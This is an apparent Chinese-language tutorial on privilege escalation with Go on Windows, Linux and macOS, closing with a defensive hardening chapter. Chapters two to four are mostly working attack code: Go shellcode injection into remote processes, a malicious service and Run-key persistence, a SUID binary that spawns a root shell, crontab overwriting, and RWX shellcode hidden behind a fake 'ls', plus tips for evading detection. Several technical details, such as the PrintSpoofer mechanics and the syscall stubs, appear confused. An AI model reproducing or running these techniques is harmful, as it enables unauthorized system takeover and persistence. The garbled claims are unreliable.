第一章:Go语言提权实战概述与安全边界界定
Go语言因其静态编译、无依赖运行及内存安全性,常被用于开发高权限系统工具(如容器运行时、Kubernetes组件、特权守护进程)。然而,当Go程序以root或SYSTEM权限运行时,其二进制文件本身即构成潜在提权入口——攻击者可利用逻辑漏洞、不安全的os/exec调用、危险的syscall封装或环境变量注入,绕过传统shell限制实现权限提升。
Go提权的核心风险面
- 危险函数滥用:
os/exec.Command未校验参数即拼接用户输入;syscall.Syscall直接调用setuid(0)等敏感系统调用 - 文件权限误设:通过
os.Chmod("/etc/shadow", 0644)意外开放敏感文件 - 符号链接竞争(TOCTOU):在
os.Stat()与os.Open()之间被恶意替换目标路径 - CGO桥接漏洞:启用
CGO_ENABLED=1后引入C库内存错误,导致任意代码执行
安全边界的关键约束
必须明确三类不可逾越的边界:
- 执行边界:禁止
exec.Command("/bin/sh", "-c", user_input)类动态shell调用;应改用白名单参数形式,如exec.Command("cp", src, dst) - 能力边界:使用Linux capabilities替代全量root权限,例如仅授予
CAP_NET_BIND_SERVICE而非CAP_SYS_ADMIN - 信任边界:所有外部输入(命令行参数、环境变量、配置文件)必须经
strings.TrimSpace()和正则白名单校验,例如:
// 安全的路径白名单校验示例
func isValidPath(path string) bool {
// 仅允许绝对路径且不含../或空字节
return strings.HasPrefix(path, "/") &&
!strings.Contains(path, "..") &&
!strings.Contains(path, "\x00")
}
典型提权场景复现(仅限授权测试环境)
# 编译并以root运行存在漏洞的Go程序(演示目的)
go build -o vulnerable ./vuln.go
sudo ./vulnerable --target /etc/passwd
该程序若内部调用exec.Command("sh", "-c", "echo 'hacker:$(openssl passwd -1 pass)' >> "+target),则构成直接命令注入。真实生产环境中,应强制使用结构化参数传递,并启用GODEBUG=asyncpreemptoff=1降低调度器干扰风险。
第二章:Windows平台Go提权技术深度解析
2.1 UAC绕过原理与Go实现的Shellcode注入实践
UAC(User Account Control)通过强制提权审批拦截未签名/低完整性进程的高权限操作。绕过核心在于利用Windows信任的白名单进程(如 eventvwr.exe、sdclt.exe)作为载体,以中等完整性启动后反射式加载恶意代码。
Shellcode注入关键步骤
- 查找目标进程并打开其句柄(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION) - 分配可执行内存(
VirtualAllocEx+PAGE_EXECUTE_READWRITE) - 写入Shellcode(
WriteProcessMemory) - 创建远程线程(
CreateRemoteThread)
// Go中调用Windows API注入Shellcode(简化示例)
hProc := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_OPERATION, false, uint32(pid))
addr, _ := windows.VirtualAllocEx(hProc, 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
windows.WriteProcessMemory(hProc, addr, &shellcode[0], uintptr(len(shellcode)), nil)
windows.CreateRemoteThread(hProc, nil, 0, addr, 0, 0, nil)
逻辑说明:
OpenProcess需目标进程处于同一会话且未受PPL保护;VirtualAllocEx分配的内存页必须设为可执行(否则触发DEP);CreateRemoteThread参数中第4个表示dwCreationFlags=0,即同步执行。
| 绕过技术 | 触发条件 | 是否需管理员权限 |
|---|---|---|
| sdclt劫持 | Windows 10 1809+ | 否 |
| eventvwr.exe | 所有Win10/11默认存在 | 否 |
| SilentCleanup | 需已启用计划任务 | 否 |
graph TD
A[启动白名单进程] --> B[注入Shellcode到目标进程内存]
B --> C[创建远程线程执行Shellcode]
C --> D[绕过UAC弹窗,获得High Integrity Token]
2.2 服务进程提权:利用SCM创建高完整性服务的Go封装
Windows 服务控制管理器(SCM)允许以 SERVICE_WIN32_OWN_PROCESS 方式注册服务,若服务二进制路径可控且具备写权限,攻击者可将其替换为恶意载荷——关键在于绕过 UAC 完整性检查。
核心约束与突破点
- SCM 服务默认以
Medium Integrity运行; - 若服务配置为
SERVICE_INTERACTIVE_PROCESS且系统启用了交互式服务检测(已弃用),或通过CreateService指定SERVICE_ALL_ACCESS并配合SeDebugPrivilege,可提升至High Integrity; - Go 封装需调用
advapi32.dll的CreateServiceW,并显式设置dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS(仅旧系统有效)或依赖父进程完整性继承。
Go 关键调用示例
// 创建高完整性服务(需管理员权限调用)
hSCM, _ := svc.OpenSCManager("", "", svc.SC_MANAGER_CREATE_SERVICE)
defer svc.CloseSCManager(hSCM)
// 注意:lpBinaryPathName 必须为绝对路径,且目录需允许当前用户写入
hSvc, err := svc.CreateService(
hSCM,
"EvilSvc", // lpServiceName
"Evil Service", // lpDisplayName
svc.SERVICE_ALL_ACCESS,
svc.SERVICE_WIN32_OWN_PROCESS,
svc.SERVICE_DEMAND_START, // dwStartType
svc.SERVICE_ERROR_NORMAL, // dwErrorControl
`C:\Temp\payload.exe`, // lpBinaryPathName ← 攻击者可控路径
"", "", "", nil)
逻辑分析:
CreateService成功后,服务对象在 SCM 数据库中注册,但尚未运行;后续StartService触发时,services.exe(LocalSystem、High Integrity)会以相同完整性级别派生子进程。若payload.exe已预置为High IL可执行体(如带autoElevate=true清单),则服务进程天然获得高完整性。
常见失败原因对照表
| 原因 | 表现 | 修复建议 |
|---|---|---|
| 路径含空格未加引号 | 服务启动失败,错误 1053 | "C:\Temp\p.exe" |
| 目录无写权限 | CreateService 返回拒绝访问 |
提前 icacls C:\Temp /grant *S-1-5-32-573:F |
未启用 SeServiceLogonRight |
服务无法登录会话 | secpol.msc → 本地策略 → 用户权限分配 |
graph TD
A[调用 CreateService] --> B{SCM 验证权限}
B -->|成功| C[注册服务对象]
B -->|失败| D[返回 ERROR_ACCESS_DENIED]
C --> E[StartService 触发]
E --> F[services.exe 以 High IL 加载 payload.exe]
F --> G[服务进程获得 High Integrity]
2.3 Token窃取与模拟:Windows API调用与syscall包实战
Token窃取是横向移动与权限提升的核心技术,依赖对OpenProcess、OpenThread、DuplicateTokenEx和SetThreadToken等API的精准编排。
关键API调用链
OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, ..., targetPID)OpenThread(THREAD_QUERY_INFORMATION | THREAD_IMPERSONATE, ..., threadID)DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, ..., SecurityImpersonation, TokenPrimary, &hDup)
syscall级绕过示例(x64)
// 使用直接syscall避免API监控(ntdll!NtOpenProcess → syscall 0x26)
NTSTATUS status = SyscallNtOpenProcess(&hProcess,
PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
&objAttr, &clientID);
// 参数说明:hProcess输出句柄;objAttr含目标PID;clientID为CLIENT_ID结构体
该调用绕过用户态钩子,但需正确构造_KTRAP_FRAME上下文与寄存器状态。
常见Token类型对比
| 类型 | 可模拟性 | 典型用途 |
|---|---|---|
| Primary | ❌(仅可复制) | 创建新进程 |
| Impersonation | ✅ | SetThreadToken()调用 |
graph TD
A[获取目标进程句柄] --> B[提取Access Token]
B --> C{Token Is Impersonation?}
C -->|Yes| D[SetThreadToken]
C -->|No| E[DuplicateTokenEx → Impersonation]
E --> D
2.4 注册表持久化提权:通过Go操作HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run键值
Windows 系统启动时会自动执行 Run 键下的程序路径,该位置位于 HKLM(需管理员权限写入),常被用于高权限持久化。
权限与路径语义
HKLM\...\Run属于机器级启动项,影响所有用户;- 写入需
SE_REGISTRY_CREATE_KEY+SE_REGISTRY_SET_VALUE权限; - 普通用户无法修改
HKLM下的键值,但提权后可植入任意命令行。
Go 实现注册表写入
package main
import (
"golang.org/x/sys/windows/registry"
)
func main() {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
registry.SET_VALUE|registry.CREATE_SUB_KEY)
if err != nil {
panic(err) // 需管理员权限,否则失败
}
defer k.Close()
err = k.SetStringValue("UpdaterSvc", `C:\temp\payload.exe`)
if err != nil {
panic(err)
}
}
逻辑分析:使用 registry.OpenKey 以 SET_VALUE 和 CREATE_SUB_KEY 标志打开 Run 键;SetStringValue 将字符串值写入指定名称,值内容为绝对路径可执行文件。若进程无管理员权限,OpenKey 将返回 ERROR_ACCESS_DENIED。
常见规避检测点
- 键值名伪装为系统组件(如
AdobeUpdate); - 路径使用短文件名或
sysnative重定向绕过 WOW64 重定向; - 启动项值类型应为
REG_SZ(非REG_EXPAND_SZ),避免触发沙箱展开解析。
| 检测维度 | 正常行为 | 恶意特征 |
|---|---|---|
| 值数据长度 | ≤ 256 字符 | 超长 Base64 或混淆路径 |
| 创建时间 | 与软件安装时间一致 | 与系统启动时间接近但无关联进程 |
2.5 PrintSpoofer类漏洞的Go PoC开发与权限提升验证
PrintSpoofer利用Windows打印后台处理程序(spoolsv.exe)以SYSTEM权限加载任意DLL的特性,实现令牌窃取与权限提升。
核心攻击流程
- 创建恶意打印机端口并触发
AddPortEx - 注入伪造的
PRINTER_INFO_2结构体,指定可控DLL路径 - 调用
RpcAddPrinterEx触发spooler加载DLL,执行提权代码
Go PoC关键逻辑
// 使用syscall调用AddPortExA,绕过高版本Go对unsafe.Pointer的限制
ret, _, _ := procAddPortEx.Call(
uintptr(hMonitor), // 打印监视器句柄
uintptr(unsafe.Pointer(&portInfo)), // PRINTER_INFO_2指针(含dllPath)
uintptr(unsafe.Sizeof(portInfo)), // 结构体大小
uintptr(0), // reserved
)
portInfo.pPortName需为合法端口名(如"COM1:"),pDatatype必须设为"RAW",pSecurityDescriptor置空以触发默认SYSTEM上下文加载。
权限验证结果对比
| 阶段 | 进程Token权限 | 是否获得SYSTEM |
|---|---|---|
| 初始用户进程 | Medium | ❌ |
| spoolsv加载DLL | High/ SYSTEM | ✅ |
graph TD
A[普通用户调用RpcAddPrinterEx] --> B[spoolsv.exe以SYSTEM启动]
B --> C[加载payload.dll]
C --> D[OpenProcessToken获取SYSTEM令牌]
D --> E[DuplicateTokenEx创建新会话]
第三章:Linux平台特权获取的Go工程化方案
3.1 SUID二进制提权:Go编译带SUID位可执行文件与提权链构造
SUID(Set User ID)位使可执行文件以文件所有者权限运行,是Linux提权关键入口点。Go语言因静态链接特性,天然规避/lib64/ld-linux-x86-64.so.2依赖问题,适合构造隐蔽SUID二进制。
编译带SUID位的Go程序
package main
import "os/exec"
func main() {
cmd := exec.Command("/bin/bash", "-c", "id && /bin/bash -i")
cmd.Run()
}
使用 CGO_ENABLED=0 go build -o suid_pwn main.go 静态编译;sudo chown root:root suid_pwn && sudo chmod u+s suid_pwn 设置SUID位。关键点:CGO_ENABLED=0 确保无动态链接器依赖,避免SUID失效。
提权链依赖条件
- 目标系统启用
fs.suid_dumpable=2(默认) /proc/sys/fs/suid_dumpable允许core dump(非必需但增强稳定性)- 用户对二进制有执行权限(
x)
| 条件 | 检查命令 | 风险等级 |
|---|---|---|
| SUID位是否生效 | ls -l suid_pwn |
高 |
| 是否静态链接 | file suid_pwn \| grep static |
中 |
| root是否为所有者 | stat -c "%U:%G" suid_pwn |
高 |
graph TD
A[用户执行suid_pwn] --> B[内核以root权限加载]
B --> C[调用exec.Command启动bash]
C --> D[获得root shell]
3.2 Capabilities滥用检测与Go实现的capset提权利用
Linux capabilities机制本为最小权限原则服务,但CAP_SYS_CAPABILITY等高危能力若被滥用,可绕过传统UID校验。
检测思路
- 监控
/proc/[pid]/status中CapEff、CapBnd字段异常高位 - 检查进程是否在非特权上下文中持有
CAP_SETUIDS或CAP_SETGIDS
Go实现capset提权示例
package main
import (
"syscall"
"unsafe"
)
func main() {
// 构造cap_user_header + cap_user_data结构体
hdr := syscall.CapUserHeader{Version: 0x20080522, PID: 0} // 当前进程
data := syscall.CapUserData{Effective: 0x0000000000000001, // CAP_CHOWN
Permitted: 0x0000000000000001,
Inheritable: 0}
_, _, err := syscall.Syscall(syscall.SYS_CAPSET,
uintptr(unsafe.Pointer(&hdr)),
uintptr(unsafe.Pointer(&data)),
0)
if err != 0 {
panic(err)
}
}
该调用需进程已具备CAP_SETPCAPS,通过capset()系统调用直接修改自身有效能力位图,将CAP_CHOWN置位,后续可任意变更文件属主——这是典型的能力链提权起点。
| 能力名 | 危险等级 | 典型滥用场景 |
|---|---|---|
CAP_SYS_ADMIN |
⚠️⚠️⚠️ | mount/umount、ptrace |
CAP_SETUIDS |
⚠️⚠️ | setuid(0)提权 |
CAP_DAC_OVERRIDE |
⚠️⚠️ | 绕过文件读写权限检查 |
graph TD
A[普通用户进程] -->|持有CAP_SETPCAPS| B[调用capset]
B --> C[设置CAP_CHOWN到CapEff]
C --> D[chown /bin/sh 0:0]
D --> E[获得SUID shell]
3.3 Cron定时任务劫持:Go编写root级cron job注入与权限维持
核心原理
攻击者利用/etc/crontab或/var/spool/cron/root的写入权限缺失校验,通过Go程序以root身份持久化恶意定时任务。
Go注入示例
package main
import (
"io/ioutil"
"os"
"time"
)
func main() {
// 每5分钟执行一次反弹shell(需提前部署payload)
payload := "*/5 * * * * root /usr/local/bin/.update.sh\n"
if err := ioutil.WriteFile("/etc/crontab", []byte(payload), 0644); err != nil {
os.Exit(1)
}
}
逻辑分析:
ioutil.WriteFile直接覆写系统crontab,绕过crontab -e的权限检查;0644确保文件可被cron daemon读取;root字段显式指定执行用户,无需依赖当前UID。
防御对比表
| 检测点 | 传统crontab | Go注入场景 |
|---|---|---|
| 文件修改时间 | 可疑突变 | 与二进制编译时间一致 |
| 执行用户字段 | 常省略 | 强制显式声明root |
| 权限继承路径 | shell会话 | 直接调用内核write() |
持久化流程
graph TD
A[Go程序以root运行] --> B[Open /etc/crontab O_WRONLY]
B --> C[Write malicious line]
C --> D[cron daemon自动加载]
D --> E[每5分钟执行payload]
第四章:macOS平台Go提权路径与防御规避策略
4.1 TCC权限绕过:Go调用AuthorizationExecuteWithPrivileges的兼容性实现
TCC(Transparency, Consent, and Control)框架在 macOS 上强制要求用户授权敏感操作,但部分遗留工具需绕过交互式弹窗以支持自动化场景。
核心调用路径
AuthorizationCreate初始化授权引用AuthorizationExecuteWithPrivileges执行特权进程(已废弃但仍被兼容层调用)- Go 需通过
C.CString和C.free管理 C 字符串生命周期
兼容性适配要点
// 构造参数数组:argv[0] 必须为绝对路径,argv[1..n] 为参数
cArgs := []*C.char{
C.CString("/usr/bin/whoami"),
C.CString("-p"),
nil,
}
defer func() {
for _, a := range cArgs[:len(cArgs)-1] {
C.free(unsafe.Pointer(a))
}
}()
argv必须以nil终止;-p参数触发 privilege escalation;路径必须绝对,否则errAuthorizationInvalid。Go 运行时无法自动释放 C 字符串,需显式free。
| 参数 | 类型 | 说明 |
|---|---|---|
authRef |
AuthorizationRef |
由 AuthorizationCreate 返回的有效句柄 |
path |
const char * |
可执行文件绝对路径,非 symlink |
flags |
AuthorizationFlags |
建议设为 kAuthorizationFlagDefaults \| kAuthorizationFlagInteractionAllowed |
graph TD
A[Go 程序] --> B[调用 C.AuthorizationCreate]
B --> C{授权状态检查}
C -->|有效| D[构造 argv 数组]
C -->|无效| E[触发 GUI 授权流]
D --> F[调用 AuthorizationExecuteWithPrivileges]
4.2 LaunchDaemon持久化:Go生成plist配置并签名加载的全流程实践
LaunchDaemon 是 macOS 系统级持久化核心机制,需 root 权限、系统启动时自动加载,适用于后台守护进程。
plist 生成与结构约束
使用 Go 的 plist 库(如 howeyc/plist)动态构建符合 Apple 官方规范 的 XML:
// 构建最小合规 LaunchDaemon plist
plist := map[string]interface{}{
"Label": "com.example.monitor",
"ProgramArguments": []string{"/usr/local/bin/monitor"},
"RunAtLoad": true,
"KeepAlive": true,
"StandardOutPath": "/var/log/monitor.log",
"StandardErrorPath": "/var/log/monitor.err",
}
data, _ := plist.MarshalIndent(plist, "", "\t")
os.WriteFile("/Library/LaunchDaemons/com.example.monitor.plist", data, 0644)
逻辑说明:
Label必须全局唯一且不含空格;ProgramArguments首项为可执行路径,不可用Program(已弃用);RunAtLoad+KeepAlive组合确保开机即启且崩溃自拉起。
签名与加载流程
macOS 10.15+ 要求 LaunchDaemon plist 必须由受信任开发者证书签名:
| 步骤 | 命令 | 说明 |
|---|---|---|
| 签名 | codesign --sign "Developer ID Application: XXX" /Library/LaunchDaemons/com.example.monitor.plist |
使用 Developer ID 证书签名,非 ad-hoc |
| 加载 | sudo launchctl load /Library/LaunchDaemons/com.example.monitor.plist |
触发内核级注册,立即生效 |
graph TD
A[Go 生成 plist] --> B[文件权限设为 644]
B --> C[用 Developer ID 签名]
C --> D[owner: root:wheel]
D --> E[sudo launchctl load]
4.3 TaskForPID漏洞利用:Go实现mach_task_self()提权与进程注入
核心原理
macOS内核通过task_for_pid()接口允许调试器获取目标进程的task_t端口,但自macOS 10.14起默认受限。若进程拥有task_for_pid-allow entitlement且运行于root上下文,仍可绕过沙箱限制。
Go调用mach系统调用示例
// #include <mach/mach.h>
// #include <mach/task.h>
import "C"
func GetTaskForPID(pid int) (uintptr, error) {
var task C.mach_port_t
ret := C.task_for_pid(C.mach_task_self_, C.pid_t(pid), &task)
if ret != C.KERN_SUCCESS {
return 0, fmt.Errorf("task_for_pid failed: %d", ret)
}
return uintptr(task), nil
}
C.mach_task_self_为当前任务端口;pid需为目标进程ID;成功返回task_t端口值,后续可用于mach_vm_read/write内存操作。
利用链关键依赖
- 目标进程需无
sandbox或已签名含task_for_pid-allow - 调用者需具备
root权限或com.apple.security.get-task-allowentitlement - macOS版本 ≤ 13.5(部分补丁后行为变更)
| 组件 | 作用 | 安全影响 |
|---|---|---|
mach_task_self_ |
当前任务端口 | 提权起点 |
task_for_pid() |
获取目标task端口 | 权限提升跳板 |
mach_vm_write() |
写入远程进程内存 | Shellcode注入基础 |
4.4 SIP绕过场景下的/usr/local/bin提权:Go编写的可信路径覆盖与shellcode驻留
SIP(System Integrity Protection)虽限制/usr/bin等系统目录写入,但/usr/local/bin默认不受保护,成为攻击者青睐的提权跳板。
Go构建无签名二进制覆盖
// main.go:伪造ls命令,注入内存shellcode执行逻辑
package main
import (
"os/exec"
"syscall"
"unsafe"
)
func main() {
// 调用原始ls(避免行为突变)
exec.Command("/bin/ls.real").Run()
// shellcode驻留:mmap + mprotect + memcpy → 执行
sc := []byte{0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00} // syscall write stub
addr, _ := syscall.Mmap(-1, 0, len(sc), syscall.PROT_READ|syscall.PROT_WRITE, syscall.MAP_PRIVATE|syscall.MAP_ANONYMOUS)
copy((*[1 << 20]byte)(unsafe.Pointer(uintptr(addr)))[:], sc)
syscall.Mprotect(addr, syscall.PROT_READ|syscall.PROT_EXEC)
syscall.Syscall(uintptr(unsafe.Pointer(uintptr(addr))), 0, 0, 0, 0)
}
逻辑分析:Go静态编译生成无依赖二进制;
Mmap分配可读写内存页,Mprotect切换为可执行态,规避W^X检测;Syscall直接跳转执行shellcode。参数len(sc)控制映射大小,MAP_ANONYMOUS避免磁盘落痕。
关键路径验证表
| 检查项 | 命令 | 预期输出 |
|---|---|---|
| SIP状态 | csrutil status |
enabled (Custom Configuration: no Apple Internal) |
| 目录权限 | ls -ld /usr/local/bin |
drwxr-xr-x 3 root wheel |
| 二进制签名 | codesign -d --verbose=4 /usr/local/bin/ls |
code object is not signed |
提权链流程
graph TD
A[用户执行 ls] --> B[/usr/local/bin/ls 被优先解析]
B --> C[Go程序调用 /bin/ls.real 显示正常输出]
C --> D[动态分配RWX内存页]
D --> E[拷贝并执行shellcode]
E --> F[获取root shell]
第五章:跨平台提权防护建议与合规使用准则
防御性权限模型设计原则
在Linux/macOS/Windows三端统一部署时,应强制采用最小权限服务账户(如svc-pkg-updater而非root或Administrator),并通过策略组(Group Policy / sudoers / PAM)限制其仅可执行/usr/local/bin/patch-apply.sh与C:\Program Files\Updater\run.ps1。某金融客户曾因jenkins服务以SYSTEM身份运行,导致CI流水线中恶意PR触发PowerShell反向Shell,最终横向渗透至核心数据库集群。
容器化提权路径封堵实践
Docker/Kubernetes环境必须禁用--privileged、CAP_SYS_ADMIN及hostPath挂载敏感目录。以下为生产集群强制校验的OPA策略片段:
package kubernetes.admission
deny[msg] {
input.request.kind.kind == "Pod"
input.request.object.spec.containers[_].securityContext.privileged == true
msg := sprintf("Privileged container prohibited in namespace %s", [input.request.namespace])
}
跨平台提权检测规则矩阵
| 检测维度 | Linux/macOS 触发条件 | Windows 触发条件 | 响应动作 |
|---|---|---|---|
| 异常进程继承 | sudo su -c 'bash -i' 父进程为sshd |
psexec.exe -s cmd.exe 来自非域控IP |
自动终止+告警工单 |
| 权限提升行为 | /etc/sudoers 被修改且新增NOPASSWD条目 |
SeDebugPrivilege 被授予非系统账户 |
文件快照+审计日志归档 |
| 内核模块加载 | insmod /tmp/malicious.ko |
sc create drv binPath= C:\malware.sys type= kernel |
阻断+内核完整性验证 |
终端侧合规性加固清单
- macOS:启用
System Integrity Protection (SIP)并禁用csrutil disable;通过profiles命令部署MDM配置禁止/usr/bin/python执行用户脚本 - Windows:启用
Credential Guard并配置lsass.exe保护,禁用SeTakeOwnershipPrivilege给非Administrators组 - Linux:部署
auditd规则监控/etc/passwd、/etc/shadow变更,并关联ausearch -m avc -ts recent实时过滤SELinux拒绝事件
供应链提权风险阻断方案
某政务云平台遭遇npm install劫持事件:攻击者污染了@gov-utils/config-loader包,在postinstall脚本中注入curl -s https://mal.io/priv.sh \| bash。后续实施强制措施:所有CI节点启用--ignore-scripts参数,私有Nexus仓库开启Content-Security-Policy: script-src 'self'头,并对node_modules/.bin下每个二进制文件进行SHA256哈希比对(基线库每日更新)。
权限审计自动化流程
graph TD
A[每小时扫描终端] --> B{检测到sudo调用?}
B -->|是| C[提取COMMAND字段]
B -->|否| D[进入下一轮扫描]
C --> E[匹配高危模式:/bin/bash|/usr/bin/python|nc|curl]
E -->|匹配成功| F[冻结会话+截取TTY缓冲区]
E -->|未匹配| G[记录至Elasticsearch]
F --> H[触发SOAR剧本:隔离主机+推送IOC至防火墙] 